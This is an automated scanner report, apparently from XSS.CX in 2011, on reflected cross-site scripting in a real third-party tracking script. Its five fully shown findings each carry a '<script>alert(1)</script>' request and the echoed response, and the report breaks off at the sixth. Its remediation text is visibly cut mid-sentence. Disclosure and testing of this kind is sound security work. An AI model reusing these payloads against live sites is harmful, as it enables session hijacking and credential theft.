XSS, b.scorecardresearch.com, Cross Site Scripting, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Wed Mar 09 13:03:44 CST 2011.


The DORK Report

Loading

1. Cross-site scripting (reflected)

1.1. http://b.scorecardresearch.com/beacon.js [c1 parameter]

1.2. http://b.scorecardresearch.com/beacon.js [c10 parameter]

1.3. http://b.scorecardresearch.com/beacon.js [c15 parameter]

1.4. http://b.scorecardresearch.com/beacon.js [c2 parameter]

1.5. http://b.scorecardresearch.com/beacon.js [c3 parameter]

1.6. http://b.scorecardresearch.com/beacon.js [c4 parameter]

1.7. http://b.scorecardresearch.com/beacon.js [c5 parameter]

1.8. http://b.scorecardresearch.com/beacon.js [c6 parameter]

2. Cookie scoped to parent domain

3. Cookie without HttpOnly flag set



1. Cross-site scripting (reflected)  next
There are 8 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://b.scorecardresearch.com/beacon.js [c1 parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b.scorecardresearch.com
Path:   /beacon.js

Issue detail

The value of the c1 request parameter is copied into the HTML document as plain text between tags. The payload 395a6<script>alert(1)</script>79ce875ebe3 was submitted in the c1 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=2395a6<script>alert(1)</script>79ce875ebe3&c2=3005693&c3=3&c4=http%3A%2F%2Falltop.com%2F&c5=&c6=&c15= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://sharepoint.alltop.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=6d0f24-24.143.206.42-1297806131

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Tue, 15 Mar 2011 20:44:02 GMT
Date: Tue, 08 Mar 2011 20:44:02 GMT
Connection: close
Content-Length: 3599

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j){return}var h=2.2,g=j.options||{},u={doc:g.doc||document,nav:g.nav||navigator,win:g.win||window},b=512,m=64,w="scorecardresearch",n=2147483647,f=(new Date()).getTime(),t=function(z){var A=encodeURIComponent||escape;return A(z)},p=function(e,z){if(z){e=e.substr(0,z)}return e},s=function(){return u.doc.location.protocol=="https:"},d=function(e){return typeof e=="undefined"},o=function(e,z){if(e==null){return""}return p(t(e),z)},a=function(e,z,B,A){return z!=null&&z.toString().length>0?[e,"=",A?p(z,B):o(z,B),"&"].join(""):""},v=function(e){return Math.round(Math.random()*(e||n))},y=function(){if(+j.c1!=2){return}if(/msie\s[^0-6]|firefox|chrome/i.test(u.nav.userAgent)){return}var e=k(w);if(g.fpc_optout){if(e){q(w,e,u.doc.domain,-1)}return"optout"}if(!u.nav.cookieEnabled){return"disabled"}if(!e){e=(function(){var D=function(G,F,E){F=G&&G[F]?G[F]:"-";return E?D(F,E):F},A=[D(u.win,"navigator","userAgent"),D(u.win,"screen","width"),D(u.win,"screen","height"),D(u.doc,"cookie"),D(u.doc,"referrer"),D(u.loc,"href"),D(u.win,"history","length")].join("-");var C=2166136261;for(var B=0,z=A.length;B<z;B++){C^=A.charCodeAt(B);C*=16777619}return[v()^C&n,v(),f].join("-")})();q(w,e,u.doc.domain);e=k(w)}return e},k=function(e){if(d(u.doc.cookie)||d(u.doc.cookie.match)){return}var z=u.doc.cookie.match("(?:^|;)\\s*"+e+"=([^;]*)");return z?z[1]:null},q=function(e,A,z,B){if(!A){return}B=B!=null?B:730;B*=86400000;u.doc.cookie=e+"="+A+"; domain=."+z+"; path=/; expires="+(new Date(f+B)).toGMTString()},c=function(e){if(+j.c1!=2){return}if(!e){return}if(g.force_script_extension||(e.width==2&&e.height>v(100))){var A=u.doc.createElement("script"),z=u.doc.getElementsByTagName("script")[0],B=[l.script_extension_url,"?",a("c2",j.c2)];B=B.join("").replace(/&$/,"");if(z){A.src=B;A.async=true;z.parentNode.insertBefore(A,z)}else{u.doc.write(unescape("%3Cscript src='"+B+"'%3E%3C/script%3E"))}}},l={beacon_url:(s()?"https://sb":"http://b")+".scorecardresearch.com/",script_extension_url:(s()?"https":"http")+"://app.scorecardresearch.com/s2e/invite"};if(g.dest){l.beacon_url=g.dest.beacon_url||l.beacon_url;l.script_extension_url=g.dest.script_extension_url||l.script_extension_url}var i=[l.beacon_url,"b?",a("c1",j.c1),a("c2",j.c2),a("rn",v()),a("c12",y()),a("c7",(function(){if(g.filter_urls){return}var e=u.doc.location.href,z=b;if(g.url_append){z=b-t(["?",g.url_append].join("")).length;e=o(e,z)+t([/\?/.test(e)?"&":"?",g.url_append].join(""))}else{e=o(e,b)}return e})(),b,true),a("c3",j.c3),a("c4",j.c4,b),a("c5",j.c5),a("c6",j.c6),a("c10",j.c10),a("c11",j.c11),a("c15",j.c15),a("c16",j.c16),a("c8",u.doc.title,m),a("c9",!g.filter_urls?u.doc.referrer:"",b),a("cv",h),a("cs","js"),a("r",j.r,b)];i=i.join("").replace(/&$/,"");i=i.length>2080?i.substr(0,2075)+"&ct=1":i;if(/(BlackBerry.*?\/([1-3]\.|4\.[0-5]))|OpenWeb/.test(u.nav.userAgent)){i=i.replace(/\/b\?/,"/p?");u.doc.write("<img src='"+i+"' />")}else{var x=new Image();x.onload=function(){c(this)};x.onerror=function(){c(this)};x.src=i}if(typeof g.subscribe=="function"){g.subscribe(i)}return i}catch(r){}};COMSCORE.purge=function(a){try{var c=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"2395a6<script>alert(1)</script>79ce875ebe3", c2:"3005693", c3:"3", c4:"http://alltop.com/", c5:"", c6:"", c10:"", c15:"", c16:"", r:""});

1.2. http://b.scorecardresearch.com/beacon.js [c10 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b.scorecardresearch.com
Path:   /beacon.js

Issue detail

The value of the c10 request parameter is copied into the HTML document as plain text between tags. The payload e1e95<script>alert(1)</script>54b02c896bd was submitted in the c10 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=8&c2=3005693&c3=3&c4=http%3A%2F%2Falltop.com%2F&c5=&c6=&c10=e1e95<script>alert(1)</script>54b02c896bd&c15= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://sharepoint.alltop.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=6d0f24-24.143.206.42-1297806131

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Tue, 15 Mar 2011 20:44:04 GMT
Date: Tue, 08 Mar 2011 20:44:04 GMT
Connection: close
Content-Length: 3599

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j){return}var h=2.2,g=j.options||{},u={doc:g.doc||document,nav:g.nav||navigator,win:g.win||window},b=512,m=64,w="scorecardresearch",n=2147483647,f=(new Date()).getTime(),t=function(z){var A=encodeURIComponent||escape;return A(z)},p=function(e,z){if(z){e=e.substr(0,z)}return e},s=function(){return u.doc.location.protocol=="https:"},d=function(e){return typeof e=="undefined"},o=function(e,z){if(e==null){return""}return p(t(e),z)},a=function(e,z,B,A){return z!=null&&z.toString().length>0?[e,"=",A?p(z,B):o(z,B),"&"].join(""):""},v=function(e){return Math.round(Math.random()*(e||n))},y=function(){if(+j.c1!=2){return}if(/msie\s[^0-6]|firefox|chrome/i.test(u.nav.userAgent)){return}var e=k(w);if(g.fpc_optout){if(e){q(w,e,u.doc.domain,-1)}return"optout"}if(!u.nav.cookieEnabled){return"disabled"}if(!e){e=(function(){var D=function(G,F,E){F=G&&G[F]?G[F]:"-";return E?D(F,E):F},A=[D(u.win,"navigator","userAgent"),D(u.win,"screen","width"),D(u.win,"screen","height"),D(u.doc,"cookie"),D(u.doc,"referrer"),D(u.loc,"href"),D(u.win,"history","length")].join("-");var C=2166136261;for(var B=0,z=A.length;B<z;B++){C^=A.charCodeAt(B);C*=16777619}return[v()^C&n,v(),f].join("-")})();q(w,e,u.doc.domain);e=k(w)}return e},k=function(e){if(d(u.doc.cookie)||d(u.doc.cookie.match)){return}var z=u.doc.cookie.match("(?:^|;)\\s*"+e+"=([^;]*)");return z?z[1]:null},q=function(e,A,z,B){if(!A){return}B=B!=null?B:730;B*=86400000;u.doc.cookie=e+"="+A+"; domain=."+z+"; path=/; expires="+(new Date(f+B)).toGMTString()},c=function(e){if(+j.c1!=2){return}if(!e){return}if(g.force_script_extension||(e.width==2&&e.height>v(100))){var A=u.doc.createElement("script"),z=u.doc.getElementsByTagName("script")[0],B=[l.script_extension_url,"?",a("c2",j.c2)];B=B.join("").replace(/&$/,"");if(z){A.src=B;A.async=true;z.parentNode.insertBefore(A,z)}else{u.doc.write(unescape("%3Cscript src='"+B+"'%3E%3C/script%3E"))}}},l={beacon_url:(s()?"https://sb":"http://b")+".scorecardresearch.com/",script_extension_url:(s()?"https":"http")+"://app.scorecardresearch.com/s2e/invite"};if(g.dest){l.beacon_url=g.dest.beacon_url||l.beacon_url;l.script_extension_url=g.dest.script_extension_url||l.script_extension_url}var i=[l.beacon_url,"b?",a("c1",j.c1),a("c2",j.c2),a("rn",v()),a("c12",y()),a("c7",(function(){if(g.filter_urls){return}var e=u.doc.location.href,z=b;if(g.url_append){z=b-t(["?",g.url_append].join("")).length;e=o(e,z)+t([/\?/.test(e)?"&":"?",g.url_append].join(""))}else{e=o(e,b)}return e})(),b,true),a("c3",j.c3),a("c4",j.c4,b),a("c5",j.c5),a("c6",j.c6),a("c10",j.c10),a("c11",j.c11),a("c15",j.c15),a("c16",j.c16),a("c8",u.doc.title,m),a("c9",!g.filter_urls?u.doc.referrer:"",b),a("cv",h),a("cs","js"),a("r",j.r,b)];i=i.join("").replace(/&$/,"");i=i.length>2080?i.substr(0,2075)+"&ct=1":i;if(/(BlackBerry.*?\/([1-3]\.|4\.[0-5]))|OpenWeb/.test(u.nav.userAgent)){i=i.replace(/\/b\?/,"/p?");u.doc.write("<img src='"+i+"' />")}else{var x=new Image();x.onload=function(){c(this)};x.onerror=function(){c(this)};x.src=i}if(typeof g.subscribe=="function"){g.subscribe(i)}return i}catch(r){}};COMSCORE.purge=function(a){try{var c=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"8", c2:"3005693", c3:"3", c4:"http://alltop.com/", c5:"", c6:"", c10:"e1e95<script>alert(1)</script>54b02c896bd", c15:"", c16:"", r:""});

1.3. http://b.scorecardresearch.com/beacon.js [c15 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b.scorecardresearch.com
Path:   /beacon.js

Issue detail

The value of the c15 request parameter is copied into the HTML document as plain text between tags. The payload efdfe<script>alert(1)</script>e5e9260f107 was submitted in the c15 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=2&c2=3005693&c3=3&c4=http%3A%2F%2Falltop.com%2F&c5=&c6=&c15=efdfe<script>alert(1)</script>e5e9260f107 HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://sharepoint.alltop.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=6d0f24-24.143.206.42-1297806131

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Tue, 15 Mar 2011 20:44:03 GMT
Date: Tue, 08 Mar 2011 20:44:03 GMT
Connection: close
Content-Length: 3599

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j){return}var h=2.2,g=j.options||{},u={doc:g.doc||document,nav:g.nav||navigator,win:g.win||window},b=512,m=64,w="scorecardresearch",n=2147483647,f=(new Date()).getTime(),t=function(z){var A=encodeURIComponent||escape;return A(z)},p=function(e,z){if(z){e=e.substr(0,z)}return e},s=function(){return u.doc.location.protocol=="https:"},d=function(e){return typeof e=="undefined"},o=function(e,z){if(e==null){return""}return p(t(e),z)},a=function(e,z,B,A){return z!=null&&z.toString().length>0?[e,"=",A?p(z,B):o(z,B),"&"].join(""):""},v=function(e){return Math.round(Math.random()*(e||n))},y=function(){if(+j.c1!=2){return}if(/msie\s[^0-6]|firefox|chrome/i.test(u.nav.userAgent)){return}var e=k(w);if(g.fpc_optout){if(e){q(w,e,u.doc.domain,-1)}return"optout"}if(!u.nav.cookieEnabled){return"disabled"}if(!e){e=(function(){var D=function(G,F,E){F=G&&G[F]?G[F]:"-";return E?D(F,E):F},A=[D(u.win,"navigator","userAgent"),D(u.win,"screen","width"),D(u.win,"screen","height"),D(u.doc,"cookie"),D(u.doc,"referrer"),D(u.loc,"href"),D(u.win,"history","length")].join("-");var C=2166136261;for(var B=0,z=A.length;B<z;B++){C^=A.charCodeAt(B);C*=16777619}return[v()^C&n,v(),f].join("-")})();q(w,e,u.doc.domain);e=k(w)}return e},k=function(e){if(d(u.doc.cookie)||d(u.doc.cookie.match)){return}var z=u.doc.cookie.match("(?:^|;)\\s*"+e+"=([^;]*)");return z?z[1]:null},q=function(e,A,z,B){if(!A){return}B=B!=null?B:730;B*=86400000;u.doc.cookie=e+"="+A+"; domain=."+z+"; path=/; expires="+(new Date(f+B)).toGMTString()},c=function(e){if(+j.c1!=2){return}if(!e){return}if(g.force_script_extension||(e.width==2&&e.height>v(100))){var A=u.doc.createElement("script"),z=u.doc.getElementsByTagName("script")[0],B=[l.script_extension_url,"?",a("c2",j.c2)];B=B.join("").replace(/&$/,"");if(z){A.src=B;A.async=true;z.parentNode.insertBefore(A,z)}else{u.doc.write(unescape("%3Cscript src='"+B+"'%3E%3C/script%3E"))}}},l={beacon_url:(s()?"https://sb":"http://b")+".scorecardresearch.com/",script_extension_url:(s()?"https":"http")+"://app.scorecardresearch.com/s2e/invite"};if(g.dest){l.beacon_url=g.dest.beacon_url||l.beacon_url;l.script_extension_url=g.dest.script_extension_url||l.script_extension_url}var i=[l.beacon_url,"b?",a("c1",j.c1),a("c2",j.c2),a("rn",v()),a("c12",y()),a("c7",(function(){if(g.filter_urls){return}var e=u.doc.location.href,z=b;if(g.url_append){z=b-t(["?",g.url_append].join("")).length;e=o(e,z)+t([/\?/.test(e)?"&":"?",g.url_append].join(""))}else{e=o(e,b)}return e})(),b,true),a("c3",j.c3),a("c4",j.c4,b),a("c5",j.c5),a("c6",j.c6),a("c10",j.c10),a("c11",j.c11),a("c15",j.c15),a("c16",j.c16),a("c8",u.doc.title,m),a("c9",!g.filter_urls?u.doc.referrer:"",b),a("cv",h),a("cs","js"),a("r",j.r,b)];i=i.join("").replace(/&$/,"");i=i.length>2080?i.substr(0,2075)+"&ct=1":i;if(/(BlackBerry.*?\/([1-3]\.|4\.[0-5]))|OpenWeb/.test(u.nav.userAgent)){i=i.replace(/\/b\?/,"/p?");u.doc.write("<img src='"+i+"' />")}else{var x=new Image();x.onload=function(){c(this)};x.onerror=function(){c(this)};x.src=i}if(typeof g.subscribe=="function"){g.subscribe(i)}return i}catch(r){}};COMSCORE.purge=function(a){try{var c=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"2", c2:"3005693", c3:"3", c4:"http://alltop.com/", c5:"", c6:"", c10:"", c15:"efdfe<script>alert(1)</script>e5e9260f107", c16:"", r:""});

1.4. http://b.scorecardresearch.com/beacon.js [c2 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b.scorecardresearch.com
Path:   /beacon.js

Issue detail

The value of the c2 request parameter is copied into the HTML document as plain text between tags. The payload dbf89<script>alert(1)</script>11f1100791a was submitted in the c2 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=2&c2=3005693dbf89<script>alert(1)</script>11f1100791a&c3=3&c4=http%3A%2F%2Falltop.com%2F&c5=&c6=&c15= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://sharepoint.alltop.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=6d0f24-24.143.206.42-1297806131

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Tue, 15 Mar 2011 20:44:02 GMT
Date: Tue, 08 Mar 2011 20:44:02 GMT
Connection: close
Content-Length: 3599

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j){return}var h=2.2,g=j.options||{},u={doc:g.doc||document,nav:g.nav||navigator,win:g.win||window},b=512,m=64,w="scorecardresearch",n=2147483647,f=(new Date()).getTime(),t=function(z){var A=encodeURIComponent||escape;return A(z)},p=function(e,z){if(z){e=e.substr(0,z)}return e},s=function(){return u.doc.location.protocol=="https:"},d=function(e){return typeof e=="undefined"},o=function(e,z){if(e==null){return""}return p(t(e),z)},a=function(e,z,B,A){return z!=null&&z.toString().length>0?[e,"=",A?p(z,B):o(z,B),"&"].join(""):""},v=function(e){return Math.round(Math.random()*(e||n))},y=function(){if(+j.c1!=2){return}if(/msie\s[^0-6]|firefox|chrome/i.test(u.nav.userAgent)){return}var e=k(w);if(g.fpc_optout){if(e){q(w,e,u.doc.domain,-1)}return"optout"}if(!u.nav.cookieEnabled){return"disabled"}if(!e){e=(function(){var D=function(G,F,E){F=G&&G[F]?G[F]:"-";return E?D(F,E):F},A=[D(u.win,"navigator","userAgent"),D(u.win,"screen","width"),D(u.win,"screen","height"),D(u.doc,"cookie"),D(u.doc,"referrer"),D(u.loc,"href"),D(u.win,"history","length")].join("-");var C=2166136261;for(var B=0,z=A.length;B<z;B++){C^=A.charCodeAt(B);C*=16777619}return[v()^C&n,v(),f].join("-")})();q(w,e,u.doc.domain);e=k(w)}return e},k=function(e){if(d(u.doc.cookie)||d(u.doc.cookie.match)){return}var z=u.doc.cookie.match("(?:^|;)\\s*"+e+"=([^;]*)");return z?z[1]:null},q=function(e,A,z,B){if(!A){return}B=B!=null?B:730;B*=86400000;u.doc.cookie=e+"="+A+"; domain=."+z+"; path=/; expires="+(new Date(f+B)).toGMTString()},c=function(e){if(+j.c1!=2){return}if(!e){return}if(g.force_script_extension||(e.width==2&&e.height>v(100))){var A=u.doc.createElement("script"),z=u.doc.getElementsByTagName("script")[0],B=[l.script_extension_url,"?",a("c2",j.c2)];B=B.join("").replace(/&$/,"");if(z){A.src=B;A.async=true;z.parentNode.insertBefore(A,z)}else{u.doc.write(unescape("%3Cscript src='"+B+"'%3E%3C/script%3E"))}}},l={beacon_url:(s()?"https://sb":"http://b")+".scorecardresearch.com/",script_extension_url:(s()?"https":"http")+"://app.scorecardresearch.com/s2e/invite"};if(g.dest){l.beacon_url=g.dest.beacon_url||l.beacon_url;l.script_extension_url=g.dest.script_extension_url||l.script_extension_url}var i=[l.beacon_url,"b?",a("c1",j.c1),a("c2",j.c2),a("rn",v()),a("c12",y()),a("c7",(function(){if(g.filter_urls){return}var e=u.doc.location.href,z=b;if(g.url_append){z=b-t(["?",g.url_append].join("")).length;e=o(e,z)+t([/\?/.test(e)?"&":"?",g.url_append].join(""))}else{e=o(e,b)}return e})(),b,true),a("c3",j.c3),a("c4",j.c4,b),a("c5",j.c5),a("c6",j.c6),a("c10",j.c10),a("c11",j.c11),a("c15",j.c15),a("c16",j.c16),a("c8",u.doc.title,m),a("c9",!g.filter_urls?u.doc.referrer:"",b),a("cv",h),a("cs","js"),a("r",j.r,b)];i=i.join("").replace(/&$/,"");i=i.length>2080?i.substr(0,2075)+"&ct=1":i;if(/(BlackBerry.*?\/([1-3]\.|4\.[0-5]))|OpenWeb/.test(u.nav.userAgent)){i=i.replace(/\/b\?/,"/p?");u.doc.write("<img src='"+i+"' />")}else{var x=new Image();x.onload=function(){c(this)};x.onerror=function(){c(this)};x.src=i}if(typeof g.subscribe=="function"){g.subscribe(i)}return i}catch(r){}};COMSCORE.purge=function(a){try{var c=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"2", c2:"3005693dbf89<script>alert(1)</script>11f1100791a", c3:"3", c4:"http://alltop.com/", c5:"", c6:"", c10:"", c15:"", c16:"", r:""});

1.5. http://b.scorecardresearch.com/beacon.js [c3 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b.scorecardresearch.com
Path:   /beacon.js

Issue detail

The value of the c3 request parameter is copied into the HTML document as plain text between tags. The payload ba9aa<script>alert(1)</script>de95c52e9e1 was submitted in the c3 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=2&c2=3005693&c3=3ba9aa<script>alert(1)</script>de95c52e9e1&c4=http%3A%2F%2Falltop.com%2F&c5=&c6=&c15= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://sharepoint.alltop.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=6d0f24-24.143.206.42-1297806131

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Tue, 15 Mar 2011 20:44:02 GMT
Date: Tue, 08 Mar 2011 20:44:02 GMT
Connection: close
Content-Length: 3599

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j){return}var h=2.2,g=j.options||{},u={doc:g.doc||document,nav:g.nav||navigator,win:g.win||window},b=512,m=64,w="scorecardresearch",n=2147483647,f=(new Date()).getTime(),t=function(z){var A=encodeURIComponent||escape;return A(z)},p=function(e,z){if(z){e=e.substr(0,z)}return e},s=function(){return u.doc.location.protocol=="https:"},d=function(e){return typeof e=="undefined"},o=function(e,z){if(e==null){return""}return p(t(e),z)},a=function(e,z,B,A){return z!=null&&z.toString().length>0?[e,"=",A?p(z,B):o(z,B),"&"].join(""):""},v=function(e){return Math.round(Math.random()*(e||n))},y=function(){if(+j.c1!=2){return}if(/msie\s[^0-6]|firefox|chrome/i.test(u.nav.userAgent)){return}var e=k(w);if(g.fpc_optout){if(e){q(w,e,u.doc.domain,-1)}return"optout"}if(!u.nav.cookieEnabled){return"disabled"}if(!e){e=(function(){var D=function(G,F,E){F=G&&G[F]?G[F]:"-";return E?D(F,E):F},A=[D(u.win,"navigator","userAgent"),D(u.win,"screen","width"),D(u.win,"screen","height"),D(u.doc,"cookie"),D(u.doc,"referrer"),D(u.loc,"href"),D(u.win,"history","length")].join("-");var C=2166136261;for(var B=0,z=A.length;B<z;B++){C^=A.charCodeAt(B);C*=16777619}return[v()^C&n,v(),f].join("-")})();q(w,e,u.doc.domain);e=k(w)}return e},k=function(e){if(d(u.doc.cookie)||d(u.doc.cookie.match)){return}var z=u.doc.cookie.match("(?:^|;)\\s*"+e+"=([^;]*)");return z?z[1]:null},q=function(e,A,z,B){if(!A){return}B=B!=null?B:730;B*=86400000;u.doc.cookie=e+"="+A+"; domain=."+z+"; path=/; expires="+(new Date(f+B)).toGMTString()},c=function(e){if(+j.c1!=2){return}if(!e){return}if(g.force_script_extension||(e.width==2&&e.height>v(100))){var A=u.doc.createElement("script"),z=u.doc.getElementsByTagName("script")[0],B=[l.script_extension_url,"?",a("c2",j.c2)];B=B.join("").replace(/&$/,"");if(z){A.src=B;A.async=true;z.parentNode.insertBefore(A,z)}else{u.doc.write(unescape("%3Cscript src='"+B+"'%3E%3C/script%3E"))}}},l={beacon_url:(s()?"https://sb":"http://b")+".scorecardresearch.com/",script_extension_url:(s()?"https":"http")+"://app.scorecardresearch.com/s2e/invite"};if(g.dest){l.beacon_url=g.dest.beacon_url||l.beacon_url;l.script_extension_url=g.dest.script_extension_url||l.script_extension_url}var i=[l.beacon_url,"b?",a("c1",j.c1),a("c2",j.c2),a("rn",v()),a("c12",y()),a("c7",(function(){if(g.filter_urls){return}var e=u.doc.location.href,z=b;if(g.url_append){z=b-t(["?",g.url_append].join("")).length;e=o(e,z)+t([/\?/.test(e)?"&":"?",g.url_append].join(""))}else{e=o(e,b)}return e})(),b,true),a("c3",j.c3),a("c4",j.c4,b),a("c5",j.c5),a("c6",j.c6),a("c10",j.c10),a("c11",j.c11),a("c15",j.c15),a("c16",j.c16),a("c8",u.doc.title,m),a("c9",!g.filter_urls?u.doc.referrer:"",b),a("cv",h),a("cs","js"),a("r",j.r,b)];i=i.join("").replace(/&$/,"");i=i.length>2080?i.substr(0,2075)+"&ct=1":i;if(/(BlackBerry.*?\/([1-3]\.|4\.[0-5]))|OpenWeb/.test(u.nav.userAgent)){i=i.replace(/\/b\?/,"/p?");u.doc.write("<img src='"+i+"' />")}else{var x=new Image();x.onload=function(){c(this)};x.onerror=function(){c(this)};x.src=i}if(typeof g.subscribe=="function"){g.subscribe(i)}return i}catch(r){}};COMSCORE.purge=function(a){try{var c=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"2", c2:"3005693", c3:"3ba9aa<script>alert(1)</script>de95c52e9e1", c4:"http://alltop.com/", c5:"", c6:"", c10:"", c15:"", c16:"", r:""});

1.6. http://b.scorecardresearch.com/beacon.js [c4 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b.scorecardresearch.com
Path:   /beacon.js

Issue detail

